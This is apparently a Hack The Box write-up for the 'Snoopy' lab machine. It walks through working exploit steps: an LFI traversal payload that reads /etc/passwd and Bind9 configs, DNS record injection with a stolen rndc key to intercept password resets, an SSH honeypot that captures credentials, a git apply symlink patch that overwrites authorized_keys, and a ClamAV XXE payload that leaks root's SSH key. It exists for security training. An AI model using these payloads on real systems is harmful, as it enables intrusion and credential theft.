Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                

Snoopy

Download as pdf or txt
Download as pdf or txt
You are on page 1of 25

Snoopy

9th May 2023 / Document No D23.100.237

Prepared By: TheCyberGeek

Machine Author: ctrlzero

Difficulty: Hard

Classification: Official

Synopsis
Snoopy is a Hard Difficulty Linux machine that involves the exploitation of an LFI vulnerability to extract the
configuration secret of Bind9 . The obtained secret allows the redirection of the mail subdomain to the
attacker's IP address, facilitating the interception of password reset requests within the Mattermost chat
client. Within that service, a custom plugin designed for web admins to log into remote servers is
manipulated to direct them to a server set up as an SSH honeypot , leading to the interception of cbrown 's
credentials. Exploiting the privileges of cbrown , the attacker utilizes the ability to execute git apply as
sbrown , resulting in a unique symlinking attack for privilege escalation. The final stage involves the abuse
of CVE-2023-20052 to include the root user's SSH key into a file via XXE , with the payload scanned by
clamscan to trigger the XXE output in the debug response.

Skills Required
Reconnaissance

DNS knowledge

Understanding of the git command line interface usage


Source code analysis

Skills Learned
Abusing leaked Bind9 secret keys to control DNS entries

Intercepting SSH credentials via SSH honeypots

Abusing git symlinks for privilege escalation via sudo

Injecting XXE payloads into DMG files

Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.212 | grep ^[0-9] | cut -d '/' -f1 | tr
'\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.11.212

An initial Nmap scan reveals an SSH service on port 22 , Bind9 , a DNS-related service on port 53 , as well
as an Nginx server on port 80 .

HTTP
Visiting the main website we are presented with a landing page for SnoopySec .
At the bottom of the web page, we see an email of info@snoopy.htb , so we add the snoopy.htb domain
to our /etc/hosts file.

echo '10.10.11.212 snoopy.htb' | sudo tee -a /etc/hosts

We visit the Team section of the site and find a list of potential usernames, as well as emails.

When visiting the Contact section we see a notice at the top of the web page.

The notice explains that the mail.snoopy.htb mail server is offline.


We perform a subdomain enumeration and scan for additional virtual hosts with the ffuf tool, limiting
the response sizes using the -fs flag.

ffuf -u http://snoopy.htb -t 50 -w /usr/share/seclists/Discovery/DNS/subdomains-


top1million-110000.txt -H "Host: FUZZ.snoopy.htb" -mc all -fs 23418

We find the mm.snoopy.htb subdomain, add it to our /etc/hosts file and visit it using our browser.

echo '10.10.11.212 mm.snoopy.htb' | sudo tee -a /etc/hosts


The subdomain appears to host the Mattermost service, which is an open-source chat service featuring
various utilities related to teamwork and sharing. When trying to register a new account we get the
following error:

Since we cannot seem to register a new user, we take a look at the password reset functionality since we
already know some potential users that we could target.

First, however, we test a non-existent user to see the app's behaviour.

A generic response is returned, stating that an email will be sent if the account is valid.

We then try inputting an email that we suspect to already be registered, given our enumeration on the
initial web application. We try sbrown@snoopy.htb .

This time around the error message is different, stating that an email could not be sent, which likely has to
do with the fact that the mail.snoopy.htb subdomain is offline, as stated in the notice earlier.
It's apparent we cannot do anything here, so we go back to the main website and take another look around.
We look at the landing page again and see that there is a file included, which is the announcements PDF file
given to us in a ZIP archive when clicking the link download our recent announcement here .

Capturing this request in BurpSuite reveals the /download endpoint, and more importantly, the ?file=
parameter which seems suspicious, as it directly references the downloaded file.

We test a series of Local File Inclusion ( LFI ) payloads to verify our suspicion and find one that returns a
valid response:

....//....//....//....//....//....//....//....//etc/passwd
The payload in question tends to work when the backend sanitization functionality deletes
occurrences of the ../ sequence but does not do so recursively. Therefore, by inserting a sequence
of four dots and two slashes, the check can be bypassed.

After forwarding the payload we see that we are given a ZIP file download containing the passwd file.

DNS
Enumerating the file system using the LFI doesn't reveal much. However, we recall the mention of a DNS
migration and decide to examine some DNS configuration files. Our initial Nmap scan revealed that Bind9
is running on port 53 , so we look up default configuration file locations to enumerate the service.

One such file is:

....//....//....//....//....//....//....//....//....//etc/bind/named.conf.local

Reading the named.conf.local file, we see a configuration setting related to the snoopy.htb zone.
zone "snoopy.htb" IN {
type master;
file "/var/lib/bind/db.snoopy.htb";
allow-update { key "rndc-key"; };
allow-transfer { 10.0.0.0/8; };
};

The allow-update directive specifies the permissions for making updates to the DNS zone. In this case, it
specifies a key, denoted as "rndc-key" , which acts as the authentication mechanism.

With this configuration in place, anyone possessing the rndc-key can add, modify, or delete DNS records
within the "snoopy.htb" domain.

We need to obtain the key, so we check the named.conf file next.

....//....//....//....//....//....//....//....//....//etc/bind/named.conf

After downloading and extracting the ZIP file, we see the key.

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

key "rndc-key" {
algorithm hmac-sha256;
secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};

We save it to a file called rndc.key .

Before testing the key's validity, we check the existing DNS records using dig .

dig axfr @10.10.11.212 snoopy.htb

dig : This command is a versatile DNS lookup tool commonly used to retrieve DNS-related
information from DNS servers.
axfr : This parameter specifies the type of DNS query to be performed, specifically a zone
transfer (AXFR) request. Zone transfer is a mechanism for transferring the entire DNS zone data
from a primary DNS server to a secondary DNS server.

@10.10.11.212 : This parameter indicates the IP address of the DNS server to which the dig
command should send the query.

snoopy.htb : This is the domain name for which the zone transfer is requested. The dig
command will attempt to retrieve all the DNS records associated with the snoopy.htb domain
by initiating a zone transfer.

We do not see mail.snoopy.htb in the list, so we attempt to add it using the obtained key.

nsupdate -k rndc.key
> server 10.10.11.212
> zone snoopy.htb
> update add mail.snoopy.htb. 60 A 10.10.14.23
> send
> quit

nsupdate : A tool used for making dynamic updates to DNS zones.

-k : We specify the key file to which we saved the obtained rndc key earlier.

server : We set the DNS server to the target IP address; subsequent updates will be sent to this
server.
zone : DNS zone to be updated, in this case, snoopy.htb .

update add : We add a new DNS record within the specified zone; adding an A record for
mail.snoopy.htb with a TTL (time to live) of 60 seconds, mapping the domain to the IP address
of our attacking machine, 10.10.14.23 .
We recheck the dig output and see that the mail domain is now pointing to our IP address.

dig axfr @10.10.11.212 snoopy.htb

At this stage we have control over the mail server. If the target configured mail.snoopy.htb to handle all
mail, we should now be able to receive mail, since we have pointed that domain to our machine. We noticed
before that we had possible usernames with a valid way to identify registered users.

We set up Wireshark to listen on our tun0 adapter and attempt to use the Mattermost service to send a
password reset to any of the users we found, using the search filter tcp.port == 25 , which is used by
default for the SMTP protocol.

We can see from the captured packets that the target server did in fact try to send an email over port 25
but the packet was dropped, as indicated by the red highlighting, since we do not have any mail servers
installed.

We install Postfix , which is a lightweight mail transfer agent.


sudo apt-get install postfix

When installing the service for the first time, we are prompted for a few configuration parameters. For
our purposes, selecting the Internet Site configuration is sufficient. In the second prompt, we set
the domain name to snoopy.htb , as that is the domain used by the emails we discovered during our
enumeration.

The aforementioned parameters can also be added for an existing installation using the following
commands:

sudo postconf -e "myhostname = snoopy.htb"


sudo postconf -e "mynetworks = 10.0.0.0/8"

After following through the setup process, we start the service.

sudo systemctl start postfix

When we send the email again, we notice in Wireshark that the packet was not dropped this time and is
not highlighted in red.

We also notice an error stating that the recipient address was rejected, due to the user being "unknown in
the local recipient table".

To receive mail as the user we are sending a password reset for, namely sbrown , there are a couple of
things we need to do. First, we create the user locally.

sudo useradd sbrown

Then we need to create the /var/mail/sbrown file and change the ownership to sbrown .

sudo touch /var/mail/sbrown; sudo chown sbrown:sbrown /var/mail/sbrown

When we attempt to send another password reset attempt we see that the email is sent successfully.
We check the contents of the /var/mail/sbrown file.

sudo cat /var/mail/sbrown

The email contains a password reset link for the sbrown user. Visiting the raw link from the email results in
an unsuccessful password change, due to an invalid token.

We notice that there are multiple characters that are incorrect in the mail. Using this online converter, we
are able to decode the URL from quoted printable format.
http://mm.snoopy.htb/reset_password_complete?
token=wurhaors93xfqm4dzjatt45ksg6zwi55o1npb3njt7xqeyjawmdjd3yj6bnk3egg

After attempting to use the decoded URL , we enter a password and are redirected to the login page with
the notice Password updated successfully .

Foothold
After logging in as sbrown with the changed password and viewing the Town Square channel, we see a
chat between the staff members mentioning that they have a new Server Provisioning tool.
We search for the channel in the Find channel section and then join the Server Provisioning channel.

If we type /server_provision into the chat and hit send, we are shown a Server provisioning request
form.

We type out the required data, select Linux as the operating system, which specifies that it uses port 2222
via TCP , then point the Server IP address to our local machine and hit submit. When we check
Wireshark we see that the target server is in fact trying to connect to us locally via SSH .

We check the direct messages for sbrown on Mattermost and see that they have a new message from
cbrown after submitting the form.
Based on the intercepted packets and the message from cbrown , it appears that they are attempting to
authenticate to the specified server using SSH . To intercept their connection and potentially obtain their
credentials, we can employ an SSH honeypot such as sshesame. This honeypot is designed to capture the
credentials used for server authentication. To set up the honeypot, we perform the following steps:

git clone https://github.com/jaksi/sshesame


cd sshesame
sudo go build
sed -i 's/127.0.0.1:2022/0.0.0.0:2222/g' sshesame.yaml
systemctl stop ssh
./sshesame -config sshesame.yaml

We have successfully started the SSH honeypot on port 2222 . We submit another Server provisioning
request and wait for a response.

We have successfully captured credentials for cbrown . We attempt to authenticate via SSH on the target
and successfully authenticate as cbrown using the obtained credentials cbrown:sn00pedcr3dential!!!
ssh cbrown@snoopy.htb

Running the id command reveals that we are part of the devops group, so we enumerate it and find that
sbrown is also a member.

grep 'devops' /etc/group

Lateral Movement
We perform some basic reconnaissance and find that we have a sudo entry that we can execute as
sbrown .

sudo -l
After doing some research on Google , we come across a vulnerability disclosure that addresses two
seperate issues within git apply in versions prior to 2.39.2 which when chained can cause privilege
escalation. We check the version of git on the target.

git --version

This shows that the target is using 2.34.1 which is indeed vulnerable. Unfortunately, further researching
shows there are no proof of concept codes available at this time.

On a high level, abusing the two vulnerabilities allows us to leverage symbionic links to write arbitrary files
into a target location by applying a malicious patch. Seeing as we can run the command as sbrown , our aim
will be to write our SSH key into the user's authorized_keys file.

To exploit the vulnerability, we first create a new git repository and create a symlink to sbrown 's .ssh
folder. We ensure that sbrown has access to the repository by changing the ownership to the devops
group and commit the change.

cd /dev/shm; mkdir rce; chown :devops rce; cd rce; git init .


ln -s /home/sbrown/.ssh symlink
git add symlink
git commit -m "add symlink"

At this stage we create a patch file which will take our symlink file, rename it to renamed-symlink , link
renamed-symlink to sbrown's authorized_keys file and replace the contents with our own
authorized_keys file, namely, our public SSH key.
A new SSH keypair can be created using ssh-keygen . You can then replace the final +ssh-rsa
<KEY> section of the patch with the contents of the id_rsa.pub file that was generated.

cat >patch <<-EOF


diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..039727e
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1,1 @@
+ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQDTuzLMsGnRWjmw5L/FnSKRSTAKtwjJ97fPgiZSK1DFPumxL6E0etw18DE
AzuXGHvrbdHrYiCetUpTfMnUsjqyit1+NfX6PhyCCoFBwMzaYn7hQGn2Ba3ri97ilTFmn7LUE5kOAiMXRQPnXEu
x0oXYkM/LUBtW1NSxgp4QYomkISkbJAtVFpjruuG3UV+V2t0AmwLSmx01slaNpZxn1UiIrOfG0sJFlJ7fo91KBW
pVB5PTyYhHzwvdo+Bn3jPAtksIo8lj72ONgZtciVNcHBZpX+5OUB/zirQ2XgQY02zUwrfmnbC7+nu7T04frDhh7
2QJaterkgdTZgoDgM0cJ+Vu3SCwU+34NOE9mpBjmD1IGZBwh8idc8Nicq/9Qk2xnJuQwdw7y8QWls+YPFSr1tHX
3FoEUGoan8JQteGwUA+uvaYhzc7UOvkRx1ESJ9izf5g7t5moiE2emyVfBLTjGrxE+1+3jT9B3oESKwhj4ymQBHp
hLnvGIk92+zIiGh03RqC0= tcg@eu-mod-1
EOF

Our repository now looks as follows:

After creating the patch file, we apply the patch as the sbrown user and see that it has been applied
successfully, meaning we overwrote the contents of the /home/sbrown/.ssh/authorized_keys file with
our authorized_keys file.

sudo -u sbrown /usr/bin/git apply -v patch


Since the symlink has successfully been applied, we attempt to authenticate via SSH to the target as
sbrown .

ssh sbrown@snoopy.htb

If you created a new SSH keypair previously, you must specify the corresponding private key, using
the -i <keyfile> flag.

The user flag can be found at /home/sbrown/user.txt .

Privilege Escalation
After performing some basic reconnaissance we discover that sbrown can execute a specific command as
root via sudo .
Clamscan is a tool by ClamAV , which is an AntiVirus software for Linux distributions. It can scan the
contents of files and flag potential harm. We perform some research on ClamAV vulnerabilities and find
CVE-2023-20052 which explains that ClamAV 's DMG file parser contains an information leak via XML
External Entity ( XXE ) infiltration. To exploit this we need to understand how to create DMG files, which leads
us to this discussion, referencing a GitHub repository.

Following the aforementioned references, we use genisoimage to create a DMG file and host it on a
Python server.

apt-get install genisoimage


genisoimage -V progname -D -R -apple -no-pad -o progname.dmg /mnt
python3 -m http.server 8081

On the target we pull the newly created DMG file and attempt to scan it.

wget 10.10.14.23:8081/progname.dmg
sudo clamscan --debug progname.dmg

There is no direct information about the file and as such it seems that ClamAV does not recognise it as a
valid DMG file. By running strings on the file, we see that there is no XML plist data.

strings progname.dmg
Using the previously mentioned GitHub repository for libdmg-hfsplus to add the necessary XML data,
we compile and test an XXE payload.

git clone https://github.com/fanquake/libdmg-hfsplus


cd libdmg-hfsplus

When reading through the file in the repository's dmg folder, we see a file called resources.c which
contains the XML data that we can attempt to tamper with. On lines 97-101 we change the contents to the
following:

const char *plistHeader =


"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
"<!DOCTYPE plist [<!ENTITY xxe SYSTEM \"file:///root/.ssh/id_rsa\">]>\n"
"<plist version=\"1.0\">\n"
"<dict>\n";

This is an XXE payload to retrieve the root user's SSH private key. On lines 689-697 we need to change
the contents so that we call the payload only once. The edited writeResources function then looks as
follows:

void writeResources(AbstractFile *file, ResourceKey *resources) {


ResourceKey *curResource;
ResourceData *curData;

abstractFilePrint(file, plistHeader);
abstractFilePrint(file, "\t<key>resource-fork</key>\n\t<dict>\n");

curResource = resources;
while (curResource != NULL) {
abstractFilePrint(file, "\t\t<key>%s</key>\n\t\t<array>\n",
"&xxe;");
// curResource->key);
curData = curResource->data;
while (curData != NULL) {
writeResourceData(file, curData, curResource->flipData, 3);
curData = curData->next;
}
abstractFilePrint(file, "\t\t</array>\n", curResource->key);
curResource = curResource->next;
}

//abstractFilePrint(file, "\t</dict>\n");
//abstractFilePrint(file, plistFooter);
}

We changed the contents to print the XXE data in the abstractFilePrint() function and removed the
footer from the data, which will show in the debug mode of Clamscan . Now we need to compile the
project, merge it with the existing progname.dmg file since it's a valid DMG format, and then upload it to the
target by performing the following commands in the libdmg-hfsplus directory.

cmake . -B build
make -C build/dmg -j8
build/dmg/dmg progname.dmg c.dmg
python3 -m http.server 8081

Then on the target as sbrown , we grab our payload using wget and save it to the scanfiles folder.

cd ~/scanfiles
wget 10.10.14.23:8081/c.dmg

Finally, we run the following command to debug the scan results.

sudo clamscan --debug /home/sbrown/scanfiles/c.dmg


After performing the scan we can see that the root user's SSH private key has been exposed. We save this
to a file and can now SSH into the machine as root , fully compromising the target.

chmod 600 root_rsa


ssh -i root_rsa root@snoopy.htb
The root flag can be found at /root/root.txt .

Unintended Solution
Prior to the patch, checking sudo showed that we have complete access to use clamscan with any options.

The clamscan utility has a specific command line argument that allows users to scan from files.

To leverage this we use the following command to scan files from the contents of a file.

sudo clamscan -f /root/root.txt


The contents of the /root/root.txt are printed to the terminal with an error that the file cannot be found.

You might also like